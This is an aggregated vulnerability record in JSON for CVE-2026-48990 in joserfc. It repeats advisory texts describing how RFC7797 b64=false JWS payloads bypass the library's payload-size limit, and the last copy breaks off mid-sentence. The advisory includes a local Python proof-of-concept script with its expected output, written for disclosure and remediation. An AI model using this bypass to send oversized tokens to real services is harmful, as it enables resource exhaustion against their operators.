{"id":"CVE-2026-48990","aliases":["DEBIAN-CVE-2026-48990","EUVD-2026-37805","GHSA-wphv-vfrh-23q5","PYSEC-2026-2530","RHSA-2026:25039","ROOT-APP-PYPI-CVE-2026-48990","UBUNTU-CVE-2026-48990","openSUSE-SU-2026:11067-1"],"status":"published","title":"joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00237,"percentile":0.14768,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-770"],"published":"2026-06-17T21:08:10Z","modified":"2026-10-28T02:30:24Z","fixes":[{"ecosystem":"PyPI","package":"joserfc","fixed_in":["1.6.7"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"joserfc","fixed_in":["1.6.8-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-joserfc","fixed_in":["1.5.0+root.io.4","1.6.5+root.io.2","1.6.3+root.io.2","1.6.2+root.io.4","1.4.3+root.io.3","1.6.0+root.io.4","1.6.4+root.io.2","1.6.1+root.io.4"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-joserfc","fixed_in":["1.7.1-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.4"},{"fixed":"1.6.7"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0-1","1.2.0-1","1.2.2-1","1.3.1-1","1.3.2-1","1.3.4-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.0-1","1.6.1-1","1.6.2-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.8-1","1.7.0-1","1.7.1-1","1.7.2-1","1.7.3-1","1.7.4-1","1.7.5-1","1.7.7-1"]},{"source":"osv","ecosystem":"Debian:14","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.8-1"}]}],"versions":["1.1.0-1","1.2.0-1","1.2.2-1","1.3.1-1","1.3.2-1","1.3.4-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.0-1","1.6.1-1","1.6.2-1","1.6.3-1","1.6.4-1","1.6.5-1"]},{"source":"osv","ecosystem":"PyPI","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.4"},{"fixed":"1.6.7"}]}],"versions":["1.3.4","1.3.5","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5"]},{"source":"osv","ecosystem":"PyPI","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.4"},{"fixed":"1.6.7"}]}],"versions":["1.3.4","1.3.5","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5"]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"jaeger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.19.0-1.hum1"}]}],"bundled":6},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.0+root.io.4"},{"fixed":"1.6.5+root.io.2"},{"fixed":"1.6.3+root.io.2"},{"fixed":"1.6.2+root.io.4"},{"fixed":"1.4.3+root.io.3"},{"fixed":"1.6.0+root.io.4"},{"fixed":"1.6.4+root.io.2"},{"fixed":"1.6.1+root.io.4"}]}]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.4-1","1.1.0-1","1.2.0-1","1.2.2-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.2-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.2-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.1-1.1"}]}]}],"products":[{"vendor":"authlib","product":"joserfc"}],"references":[{"url":"https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/authlib/joserfc/releases/tag/1.6.7","tags":["x_refsource_MISC","web","article"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48990","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wphv-vfrh-23q5","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48990.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-48990","tags":["advisory"]},{"url":"https://github.com/authlib/joserfc","tags":["package"]},{"url":"https://pypi.org/project/joserfc","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:25039","tags":["advisory"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48990","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44432","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44431","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42154","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42151","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45409","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_25039.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466507","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42151","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42151","tags":["advisory"]},{"url":"https://github.com/prometheus/prometheus/pull/18587","tags":["article"]},{"url":"https://github.com/prometheus/prometheus/pull/18590","tags":["article"]},{"url":"https://github.com/prometheus/prometheus/releases/tag/v3.11.3","tags":["article"]},{"url":"https://github.com/prometheus/prometheus/releases/tag/v3.5.3","tags":["article"]},{"url":"https://github.com/prometheus/prometheus/security/advisories/GHSA-wg65-39gg-5wfj","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466505","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42154","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42154","tags":["advisory"]},{"url":"https://github.com/prometheus/prometheus/pull/18584","tags":["article"]},{"url":"https://github.com/prometheus/prometheus/pull/18585","tags":["article"]},{"url":"https://github.com/prometheus/prometheus/security/advisories/GHSA-8rm2-7qqf-34qm","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477167","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44431","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431","tags":["advisory"]},{"url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477154","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44432","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432","tags":["advisory"]},{"url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485616","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45409","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409","tags":["advisory"]},{"url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2490168","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48990","tags":["advisory","report"]},{"url":"https://ubuntu.com/security/CVE-2026-48990","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48990","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-48990","title":"joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.","status":"published","published":"2026-06-17T21:08:10.534Z","modified":"2026-06-18T12:51:59.9Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T13:50:49.872037Z"}],"euvd":[{"id":"EUVD-2026-37805","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.","status":"published","published":"2026-06-17T21:08:10Z","modified":"2026-06-18T12:51:59Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T18:20:36.672794Z"}],"ghsa":[{"id":"GHSA-wphv-vfrh-23q5","title":"joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization","description":"# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n    if not payload_segment and payload:\n        payload_segment = to_bytes(payload)\n    payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n    payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n    token = jws.serialize_compact(header, payload, key)\n    try:\n        obj = jws.deserialize_compact(token, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\ndef check_json(name, protected, payload, key):\n    data = jws.serialize_json({\"protected\": protected}, payload, key)\n    try:\n        obj = jws.deserialize_json(data, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n    \"joserfc_version\": joserfc.__version__,\n    \"default_max_payload_length\": limit,\n    \"payload_len\": len(payload),\n    \"compact\": [\n        check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n        check_compact(\n            \"rfc7797_b64_false\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n    \"json\": [\n        check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n        check_json(\n            \"rfc7797_b64_false_json\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n  \"default_max_payload_length\": 128000,\n  \"payload_len\": 128001,\n  \"compact\": [\n    {\n      \"case\": \"normal_b64_true\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ],\n  \"json\": [\n    {\n      \"case\": \"normal_b64_true_json\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false_json\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.","status":"published","published":"2026-06-26T20:59:38Z","modified":"2026-06-26T20:59:40Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:40:34.713036Z"}],"nvd":[{"id":"CVE-2026-48990","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.","status":"published","published":"2026-06-17T22:16:23.27Z","modified":"2026-10-26T12:10:00.13Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:12:24.544761Z"}],"osv":[{"id":"CVE-2026-48990","title":"joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.","status":"published","published":"2026-06-17T21:08:10.534Z","modified":"2026-10-28T02:30:24.567452912Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:45:07.060148Z"},{"id":"DEBIAN-CVE-2026-48990","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.","status":"published","published":"2026-06-17T22:16:23.27Z","modified":"2026-10-27T10:01:41.78788047Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:45:56.444225Z"},{"id":"GHSA-wphv-vfrh-23q5","title":"joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization","description":"# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n    if not payload_segment and payload:\n        payload_segment = to_bytes(payload)\n    payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n    payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n    token = jws.serialize_compact(header, payload, key)\n    try:\n        obj = jws.deserialize_compact(token, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\ndef check_json(name, protected, payload, key):\n    data = jws.serialize_json({\"protected\": protected}, payload, key)\n    try:\n        obj = jws.deserialize_json(data, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n    \"joserfc_version\": joserfc.__version__,\n    \"default_max_payload_length\": limit,\n    \"payload_len\": len(payload),\n    \"compact\": [\n        check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n        check_compact(\n            \"rfc7797_b64_false\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n    \"json\": [\n        check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n        check_json(\n            \"rfc7797_b64_false_json\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n  \"default_max_payload_length\": 128000,\n  \"payload_len\": 128001,\n  \"compact\": [\n    {\n      \"case\": \"normal_b64_true\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ],\n  \"json\": [\n    {\n      \"case\": \"normal_b64_true_json\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false_json\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.","status":"published","published":"2026-06-26T20:59:38Z","modified":"2026-09-10T03:50:50.864205034Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:46:58.767335Z"},{"id":"PYSEC-2026-2530","title":"joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization","description":"# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n    if not payload_segment and payload:\n        payload_segment = to_bytes(payload)\n    payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n    payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof 